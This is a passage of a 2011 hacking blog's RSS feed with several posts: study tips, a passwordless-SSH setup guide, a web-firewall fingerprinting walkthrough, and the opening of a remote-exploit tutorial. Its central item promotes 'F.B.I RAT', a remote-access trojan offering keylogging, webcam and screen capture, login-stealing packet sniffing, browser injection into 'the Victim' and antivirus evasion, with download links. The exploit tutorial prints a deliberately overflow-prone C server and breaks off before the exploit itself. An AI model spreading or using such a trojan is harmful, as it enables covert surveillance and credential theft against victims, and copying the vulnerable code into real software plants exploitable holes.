&lt;li&gt;&lt;b&gt;Party before an exam&lt;/b&gt;. Well, don't go that far. The key is to relax. The worse thing to do is cram the night before an exam. If you don't already know a subject by then, cramming isn't going to help. If you have studied, simply review the topic, then go do something pleasant (no more studying). Doing so tells your brain that you are prepared and that you will be able to recall anything that you have already learned. On the other hand, if you didn't spend the semester learning the ideas you need, you might as well go party anyways because cramming at the last minute isn't going to help much at that point.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Don't worry; learn happy&lt;/b&gt;. Have a real passion for learning&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-756191933229024021?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/q2iGl8WfOks" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/q2iGl8WfOks/hacking-mind-learn-faster-be-smart.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://3.bp.blogspot.com/-OS9hNCagHko/TljHiWWfZ5I/AAAAAAAAATQ/2fvNrR7Fm5U/s72-c/mindhack.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/08/hacking-mind-learn-faster-be-smart.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-3004176269149101955</guid><pubDate>Sat, 27 Aug 2011 10:19:00 +0000</pubDate><atom:updated>2011-08-27T03:19:08.303-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips n Tricks</category><category domain="http://www.blogger.com/atom/ns#">Tutorials</category><title>Configure SSH Without Password Login Prompt</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Tldq6UtJ8KI/TljEe1-hTJI/AAAAAAAAATM/DrNWFGfZdgE/s1600/SSH.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="112" src="http://4.bp.blogspot.com/-Tldq6UtJ8KI/TljEe1-hTJI/AAAAAAAAATM/DrNWFGfZdgE/s320/SSH.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Password less SSH login to another server can be very useful when you want to configure a remote backup server or when migrating servers. For enabling this you need to have openSSH installed on the server. Here is a tutorial on how to configure password less SSH login to server ‘mars’ from server ‘earth’ &lt;br /&gt;
1. Login to earth as &lt;strong&gt;root&lt;/strong&gt;.&lt;br /&gt;
2. Run the command &lt;strong&gt;ssh-keygen -t rsa&lt;/strong&gt;&lt;br /&gt;
If the key already exists you can either go to step 3 or you can generate a new key by overwriting existing key (see image). It would be better to overwrite the existing key if you did not generate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;img alt="" src="http://img684.imageshack.us/img684/7213/publickey1.png" style="height: 404px; width: 465px;" /&gt;&lt;br /&gt;
&lt;br /&gt;
3. Change directory to /root/.ssh/&lt;br /&gt;
root@earth:~# cd /root/.ssh/&lt;br /&gt;
root@earth:~/.ssh#&lt;br /&gt;
4. Copy the contents of the file id_rsa.pub to the directory /root/.ssh/authorized_keys&lt;br /&gt;
scp -P &lt;port&gt; id_rsa.pub root@mars_server_IP:/root/.ssh/authorized_keys&lt;/port&gt;&lt;br /&gt;
5. You will be able to login to the remote server ‘mars’ by typing ssh root@mars_server_IP -p &lt;port&gt; without password now&lt;/port&gt;&lt;br /&gt;
&lt;strong&gt;Creating Sudo user to login as root:&lt;/strong&gt;&lt;br /&gt;
1. Login to server as root&lt;br /&gt;
2. Create a new user by using the command &lt;br /&gt;
root@server:~# useradd user&lt;br /&gt;
3. Assign a password for the user by using the command&lt;br /&gt;
root@server:~# passwd user&lt;br /&gt;
4. Add the user to the admin group in /etc/groups&lt;br /&gt;
root@server:~# vi /etc/groups&lt;br /&gt;
admin:x:121:&lt;strong&gt;user1,user2&lt;/strong&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-3004176269149101955?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/ocQOcIWcvVs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/ocQOcIWcvVs/configure-ssh-without-password-login.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://4.bp.blogspot.com/-Tldq6UtJ8KI/TljEe1-hTJI/AAAAAAAAATM/DrNWFGfZdgE/s72-c/SSH.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/08/configure-ssh-without-password-login.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-6372564704315904962</guid><pubDate>Fri, 26 Aug 2011 17:23:00 +0000</pubDate><atom:updated>2011-08-27T03:45:48.084-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tools</category><title>F.B.I RAT (Full Backdoor Intergration) V0.1</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span style="font-family: 'Trebuchet MS','Lucida Grande',Verdana,Tahoma,Arial; font-size: 12px; line-height: 18px;"&gt;&lt;div style="margin: 0px 0px 1em; padding: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-X3qz1eGX4go/TlfWTvIVY3I/AAAAAAAAATI/YraP1tDwLro/s1600/ana1997110106.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-X3qz1eGX4go/TlfWTvIVY3I/AAAAAAAAATI/YraP1tDwLro/s1600/ana1997110106.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin: 0px 0px 1em; padding: 0px;"&gt;&lt;a href="http://www.techmantras.com/sites/default/files/ana1997110106.gif" imageanchor="1"&gt;&lt;br /&gt;
&lt;/a&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 0px 0px 1em; padding: 0px; text-align: left;"&gt;&lt;span style="font-size: small;"&gt;Supports  xp/Vista/Windows 7, all features have been tested on these OS's  including injection, but there have been some limitations on the  sniffer.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 0px 0px 1em; padding: 0px;"&gt;&lt;span style="font-size: small;"&gt;Features:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 0px 0px 1em; padding: 0px;"&gt;&lt;span style="font-size: small;"&gt;File Manager:&lt;br /&gt;
-Execute, Normal &amp;amp; Hidden.&lt;br /&gt;
-Copy &amp;amp; Paste like Windows explorer.&lt;br /&gt;
-Display size of file, and type.&lt;br /&gt;
-Delete.&lt;br /&gt;
-Download &amp;amp; Upload (re-coded) Multi-threaded downloads, which allows you to download multiple files at once.&lt;br /&gt;
-Stop, Pause and resume active transfer's.&lt;br /&gt;
-Search files.&lt;br /&gt;
-rename files.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 0px 0px 1em; padding: 0px;"&gt;&lt;span style="font-size: small;"&gt;System Manager:&lt;br /&gt;
-Process Manager - Refresh and kill processes running&lt;br /&gt;
-Window Manager - Refresh and close windows, shows hidden and visable windows.&lt;br /&gt;
-Installed Programs - List's program name and Directory.&lt;br /&gt;
-Installed Services - Lists installed services, allows you to stop, start and pause services.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 0px 0px 1em; padding: 0px;"&gt;&lt;span style="font-size: small;"&gt;Keylogger:&lt;br /&gt;
-Allows the user to have a time &amp;amp; date stamp, and active window, as well as custom colour coding.&lt;br /&gt;
-Uses a keyboard hook, so no dropped keys like most keyloggers, and 0 CPU usage.&lt;br /&gt;
-Offline  and Online keylogs, Offline keylogs are downloaded once you start the  Online keylogger, and once the online keylogger session has finished,  the offline keylogger begins again.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 0px 0px 1em; padding: 0px;"&gt;&lt;span style="font-size: small;"&gt;Screen capture:&lt;br /&gt;
-Reworked transfer &amp;amp; Capture.&lt;br /&gt;
-Allows  the user to select the quality, intervals of screen shots and stop  &amp;amp; start screen capture, also allows the user to take a single  snapshot when ever they want.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 0px 0px 1em; padding: 0px;"&gt;&lt;span style="font-size: small;"&gt;Webcam:&lt;br /&gt;
-Reworked transfer &amp;amp; Capture.&lt;br /&gt;
-Allows the user to stop &amp;amp; start captures also allows an interval for the sending of captures.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 0px 0px 1em; padding: 0px;"&gt;&lt;span style="font-size: small;"&gt;Packet Sniffer:&lt;br /&gt;
-"Net  stat" Allows the user to view local connections on the computer, and  then select which connection you want to sniff, displays remote server  IP and local IP &amp;amp; Port information, also the state of the  connection, all this information comes from the TCP stack of windows.&lt;br /&gt;
-Packet  sniffer, sniffs the raw packets, using windows RAW sockets and formats  them into text for you to read, i have tested this with Real world  websites, and has allowed me to steal information, such as website  logins, but because of the limitations of vista and windows 7 it is  likely it will not work, for those two operating systems.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Verdana,sans-serif; margin: 0px 0px 1em; padding: 0px;"&gt;&lt;span style="font-size: small;"&gt;Choice  of injection, This source comes with another project that allows you to  inject your server into the default browser of the Victim, you can also  use the exe and run it normally withoutinjection, for testing, the  injection code has been modified from an old source i found, i took the  source and improved it, made it detect the default browser and made it  load the API's indirectly, so you can encrypt the API strings, and  bypass AV's.&lt;/span&gt;&lt;/div&gt;&lt;div style="margin: 0px 0px 1em; padding: 0px;"&gt;Pic:&lt;br /&gt;
&lt;a class="previewlink" href="http://i50.tinypic.com/2qunm07.jpg" rel="nofollow" style="color: #7b0f0f; margin: 0px; padding: 0px; text-decoration: none;"&gt;http://i50.tinypic.com/2qunm07.jpg&lt;/a&gt;&lt;/div&gt;&lt;div style="margin: 0px 0px 1em; padding: 0px;"&gt;&lt;a class="previewlink" href="http://www.megapanzer.com/wp-content/uploads/FBI-RAT.zip" target="_blank" title="Download"&gt;Download&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If the Link is Broken Check this one too thanks For the anonymous&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://www.megaupload.com/?d=ROHUUZO7&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-6372564704315904962?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/6ehvz8zBIL8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/6ehvz8zBIL8/fbi-rat-full-backdoor-intergration-v01.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://4.bp.blogspot.com/-X3qz1eGX4go/TlfWTvIVY3I/AAAAAAAAATI/YraP1tDwLro/s72-c/ana1997110106.gif" height="72" width="72" /><thr:total>1</thr:total><enclosure url="http://www.megapanzer.com/wp-content/uploads/FBI-RAT.zip" length="237474" type="application/zip" /><media:content url="http://www.megapanzer.com/wp-content/uploads/FBI-RAT.zip" fileSize="237474" type="application/zip" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> Supports xp/Vista/Windows 7, all features have been tested on these OS's including injection, but there have been some limitations on the sniffer.Features:File Manager: -Execute, Normal &amp;amp; Hidden. -Copy &amp;amp; Paste like Windows explorer. -Display size</itunes:subtitle><itunes:author>noreply@blogger.com (h4ckfreak)</itunes:author><itunes:summary> Supports xp/Vista/Windows 7, all features have been tested on these OS's including injection, but there have been some limitations on the sniffer.Features:File Manager: -Execute, Normal &amp;amp; Hidden. -Copy &amp;amp; Paste like Windows explorer. -Display size of file, and type. -Delete. -Download &amp;amp; Upload (re-coded) Multi-threaded downloads, which allows you to download multiple files at once. -Stop, Pause and resume active transfer's. -Search files. -rename files.System Manager: -Process Manager - Refresh and kill processes running -Window Manager - Refresh and close windows, shows hidden and visable windows. -Installed Programs - List's program name and Directory. -Installed Services - Lists installed services, allows you to stop, start and pause services.Keylogger: -Allows the user to have a time &amp;amp; date stamp, and active window, as well as custom colour coding. -Uses a keyboard hook, so no dropped keys like most keyloggers, and 0 CPU usage. -Offline and Online keylogs, Offline keylogs are downloaded once you start the Online keylogger, and once the online keylogger session has finished, the offline keylogger begins again.Screen capture: -Reworked transfer &amp;amp; Capture. -Allows the user to select the quality, intervals of screen shots and stop &amp;amp; start screen capture, also allows the user to take a single snapshot when ever they want.Webcam: -Reworked transfer &amp;amp; Capture. -Allows the user to stop &amp;amp; start captures also allows an interval for the sending of captures.Packet Sniffer: -"Net stat" Allows the user to view local connections on the computer, and then select which connection you want to sniff, displays remote server IP and local IP &amp;amp; Port information, also the state of the connection, all this information comes from the TCP stack of windows. -Packet sniffer, sniffs the raw packets, using windows RAW sockets and formats them into text for you to read, i have tested this with Real world websites, and has allowed me to steal information, such as website logins, but because of the limitations of vista and windows 7 it is likely it will not work, for those two operating systems.Choice of injection, This source comes with another project that allows you to inject your server into the default browser of the Victim, you can also use the exe and run it normally withoutinjection, for testing, the injection code has been modified from an old source i found, i took the source and improved it, made it detect the default browser and made it load the API's indirectly, so you can encrypt the API strings, and bypass AV's.Pic: http://i50.tinypic.com/2qunm07.jpgDownload If the Link is Broken Check this one too thanks For the anonymous http://www.megaupload.com/?d=ROHUUZO7</itunes:summary><itunes:keywords>Tools</itunes:keywords><feedburner:origLink>http://defendhackers.blogspot.com/2011/08/fbi-rat-full-backdoor-intergration-v01.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-258017541319971278</guid><pubDate>Sat, 20 Aug 2011 21:00:00 +0000</pubDate><atom:updated>2011-08-20T14:00:19.642-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips n Tricks</category><category domain="http://www.blogger.com/atom/ns#">Exploits</category><title>Detecting Web application firewall during Pentesting</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;h1 class="title"&gt;&lt;br /&gt;
&lt;/h1&gt;&lt;div class="post-content clear-block"&gt;           &lt;div&gt;It has Always been overlooked by  Penetration Testers  while Testing Web Applications, most of the Web  Applications are  Protected by Application firewall &amp;amp; it is not so  easy to find which  firewall has been using,here comes a tool “WAFW00F”  which can  fingerprint 20 WAF products this helps a Pentester to find and  analyse  the WebApplication.&lt;/div&gt;&lt;a href="http://code.google.com/p/waffit/"&gt;http://code.google.com/p/waffit/&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;WAFW00F allows you fingerprint WAF products  protecting a website.  The tool as of now can fingerprint 20 WAF  products. How can it do that?  Possibly, it is looking at the following:&lt;/div&gt;*  Cookies – Some WAF products add their own cookie in the HTTP  communication.&lt;br /&gt;
* Server Cloaking – Altering URLs and Response  Headers.&lt;br /&gt;
* Response Codes – Different error codes for hostile  pages/parameters values.&lt;br /&gt;
* Drop Action – Sending a FIN/RST  packet. This can also be a false positive for an IDS/IPS.&lt;br /&gt;
* Pre  Built-In Rules – Each WAF has different negative security signatures. A  study is done of all them WAF products.&lt;br /&gt;
Below is the test  Conducted on Modsecurity its an Open Source Firewall&lt;br /&gt;
1) root@hackfreak:~$svn checkout waffit – Revision 11: /trunk waffit-read-only&lt;br /&gt;
2) root@hackfreak:~$cd to that downloaded directory cd  /pentest/web/waffit-read-only#&lt;br /&gt;
3) root@hackfreak:~$python wafw00f.py  http://192.168.0.122–&amp;gt;&lt;br /&gt;
punter@rtfm:~$ python wafw00f.py  http://192.168.0.122&lt;br /&gt;
^ ^&lt;br /&gt;
_ __ _ ____ _ __ _ _ ____&lt;br /&gt;
///7/ /.’ \ /  __////7/ /,’ \ ,’ \ / __/&lt;br /&gt;
| V V // o // _/ | V V // 0 // 0 // _/&lt;br /&gt;
|_n_,’/_n_//_/  |_n_,’ \_,’ \_,’/_/&lt;br /&gt;
&amp;lt;&lt;br /&gt;
…’&lt;br /&gt;
WAFW00F – Web Application  Firewall Detection Tool&lt;br /&gt;
By Sandro Gauci &amp;amp;&amp;amp; Wendel G.  Henrique&lt;br /&gt;
Checking http://192.168.0.122&lt;br /&gt;
The site  http://192.168.0.122 is behind a ModSecurity&lt;br /&gt;
Number of requests: 5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Thanks &lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-258017541319971278?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/x9UthOnFB_4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/x9UthOnFB_4/detecting-web-application-firewall.html</link><author>noreply@blogger.com (h4ckfreak)</author><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/08/detecting-web-application-firewall.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-4094756826744137383</guid><pubDate>Sat, 20 Aug 2011 20:52:00 +0000</pubDate><atom:updated>2011-08-20T13:52:06.882-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips n Tricks</category><category domain="http://www.blogger.com/atom/ns#">Exploits</category><title>Basics of remote exploits writing</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-_eBao-4yoQo/TlAdIMeWZ4I/AAAAAAAAATE/M9TSTqTDqNU/s1600/8-26-2008+1-03-39+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="111" src="http://3.bp.blogspot.com/-_eBao-4yoQo/TlAdIMeWZ4I/AAAAAAAAATE/M9TSTqTDqNU/s400/8-26-2008+1-03-39+PM.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&amp;nbsp;Many Peoples are Prefering to use the Publicly Available Exploits than Writing their Own..! Let me ask them Why u cant write ur Own Exploits For ur Attack(I am Just Curious about Exploits ,Some exploits available will work only on Specified Service Packs Or Might Not Work If it has been Patched Or Recently Updated)..So I started almost a couple of weeks to go for reading about metaX ,Thanks for Shobit(Hackersbay) for Sharing the Book..Which Helped me a lot to learn, and am&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Just has digged my head Into The Ocean Of Exploits Writing i Want to show you all Whaat i Been Doing all Day in a week , i hope my Last post regarding Xploit Writing Complete Tuts and Links But this regarding a Going Forward With the Example ..SO In order to understand the following Posts and Code u shud know c and c++ , I hope  that you know "socket programming in C", also ANSI C,&amp;nbsp;&amp;nbsp; I want to suggest you to first read other papers Probalby from Exploits DB or books like…:&lt;/span&gt;   &lt;br /&gt;
&lt;ul&gt;&lt;ul&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;
&lt;li&gt;The C Programming language (Kernighan/Ritchie)&lt;/li&gt;
&lt;li&gt;Unix Network Programming (Richard Stevens)&lt;/li&gt;
&lt;li&gt;Good tutorials about exploits you can find on(EXPLOITS-DB I always Prefer that)&lt;/li&gt;
&lt;/span&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;ul&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;/span&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;u&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;2. Let’s discover the exercise&lt;/span&gt;&lt;/u&gt;&lt;br /&gt;
&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;I hope you’ll enjoy it, ok what  are we going to do?  We want to exploit a vulnerable server program  (vulnerable.c). We want to get a remote shell. In case you are looking  for an exercise, read the vulnerable.c program, compile it and try to  exploit it. If you don’t have any clue about remote exploits…… well then  read further and let us first take a look at the vulnerable program…  later we want to look at the functions of the vulnerable program, then  how we can abuse an overflow within the program, then we want to define  the general structure of the exploit code, and at last we want to write  an exploit… &lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;-------------------------------------------- vulnerable.c ----------------------------------------------&lt;/span&gt;&lt;br /&gt;
&lt;dir&gt; &lt;dir&gt;  &lt;span style="font-size: x-small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netdb.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;br /&gt;
#define BUFFER_SIZE 1024&lt;br /&gt;
#define NAME_SIZE 2048&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;dir&gt; &lt;dir&gt; &lt;dir&gt;  &lt;span style="font-family: Verdana; font-size: x-small;"&gt;int handling(int c)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;{&lt;br /&gt;
char buffer[BUFFER_SIZE], name[NAME_SIZE];&lt;br /&gt;
int bytes;&lt;br /&gt;
strcpy(buffer, "My name is: ");&lt;br /&gt;
bytes = send(c, buffer, strlen(buffer), 0);&lt;br /&gt;
if (bytes == -1)&lt;br /&gt;
return -1;&lt;br /&gt;
bytes = recv(c, name, sizeof(name), 0);&lt;br /&gt;
if (bytes == -1)&lt;br /&gt;
return -1;&lt;br /&gt;
name[bytes - 1] = ’\0’;&lt;br /&gt;
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);&lt;br /&gt;
bytes = send(c, buffer, strlen(buffer), 0);&lt;br /&gt;
if (bytes == -1)&lt;br /&gt;
return -1;&lt;br /&gt;
return 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;}&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;int main(int argc, char *argv[])&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;{&lt;br /&gt;
int s, c, cli_size;&lt;br /&gt;
struct sockaddr_in srv, cli;&lt;br /&gt;
if (argc != 2)&lt;br /&gt;
{&lt;br /&gt;
fprintf(stderr, "usage: %s port\n", argv[0]);&lt;br /&gt;
return 1;&lt;br /&gt;
}&lt;br /&gt;
s = socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;
if (s == -1)&lt;br /&gt;
{&lt;br /&gt;
perror("socket() failed");&lt;br /&gt;
return 2;&lt;br /&gt;
}&lt;br /&gt;
srv.sin_addr.s_addr = INADDR_ANY;&lt;br /&gt;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));&lt;br /&gt;
srv.sin_family = AF_INET;&lt;br /&gt;
if (bind(s, &amp;amp;srv, sizeof(srv)) == -1)&lt;br /&gt;
{&lt;br /&gt;
perror("bind() failed");&lt;br /&gt;
return 3;&lt;br /&gt;
}&lt;br /&gt;
if (listen(s, 3) == -1)&lt;br /&gt;
{&lt;br /&gt;
perror("listen() failed");&lt;br /&gt;
return 4;&lt;br /&gt;
}&lt;br /&gt;
for(;;)&lt;br /&gt;
{&lt;br /&gt;
c = accept(s, &amp;amp;cli, &amp;amp;cli_size);&lt;br /&gt;
if (c == -1)&lt;br /&gt;
{&lt;br /&gt;
perror("accept() failed");&lt;br /&gt;
return 5;&lt;br /&gt;
}&lt;br /&gt;
printf("client from %s", inet_ntoa(cli.sin_addr));&lt;br /&gt;
if (handling(c) == -1)&lt;br /&gt;
fprintf(stderr, "%s: handling() failed", argv[0]);&lt;br /&gt;
close(c);&lt;br /&gt;
}&lt;br /&gt;
return 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;/dir&gt; &lt;/dir&gt; &lt;/dir&gt; &lt;/dir&gt; &lt;/dir&gt;  &lt;span style="font-family: Verdana; font-size: x-small;"&gt;---------------------------------------------- EOF------------------------------------------------------&lt;br /&gt;
Here’s how you must compile and use the program.&lt;br /&gt;
&lt;i&gt;user@hackfreak:~/ &amp;gt;&lt;/i&gt; &lt;b&gt;gcc vulnerable.c -o vulnerable&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;user@hackfreak:~/ &amp;gt;&lt;/i&gt; &lt;b&gt;./vulnerable 8080&lt;/b&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;b&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;./vulnerable 8080&lt;/span&gt;&lt;/b&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;  this means, that you run the service on port 8080, look at the port you  wanna take, you mustn’t use a privileged port (1 – 1024) assuming you  are not root.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now we’ve compiled the program and we know how to run it.. with the parameter &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;b&gt;program &amp;lt;port&amp;gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now we want check some addresses  of the program, and take a look on how it is built.  We start the  vulnerable program with gdb, to look at some things…&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
now do the following:&lt;br /&gt;
&lt;i&gt;user@lhackfreak~/ &amp;gt;&lt;/i&gt; &lt;b&gt;gdb vulnerable&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;GNU gdb 4.18&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Copyright 1998 Free Software Foundation, Inc.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;Type "show copying" to see the conditions.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;There is absolutely no warranty for GDB.  Type "show warranty" for details.&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;This GDB was configured as "i386-suse-linux"...&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;(gdb)&lt;/i&gt; &lt;b&gt;run 8080&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;Starting program: /home/user/directory/vulnerable 8080&lt;br /&gt;
&lt;/i&gt;&lt;/span&gt;&lt;span style="font-family: Courier New; font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Now the program is listening for an incoming connection on port 8080.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;Next connect with telnet or netcat on port 8080.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;user@hackfreak:~/ &amp;gt;&lt;/i&gt; &lt;b&gt;telnet localhost 8080&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;Trying ::1...&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;telnet: connect to address ::1: Connection refused&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;Trying 127.0.0.1...&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;Connected to localhost.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;Escape character is '^]'.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;My name is:Suren&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;, nice to meet you!&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;Connection closed by foreign host.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Verdana; font-size: x-small;"&gt;&lt;i&gt;user@hackfreak:~/ &amp;gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
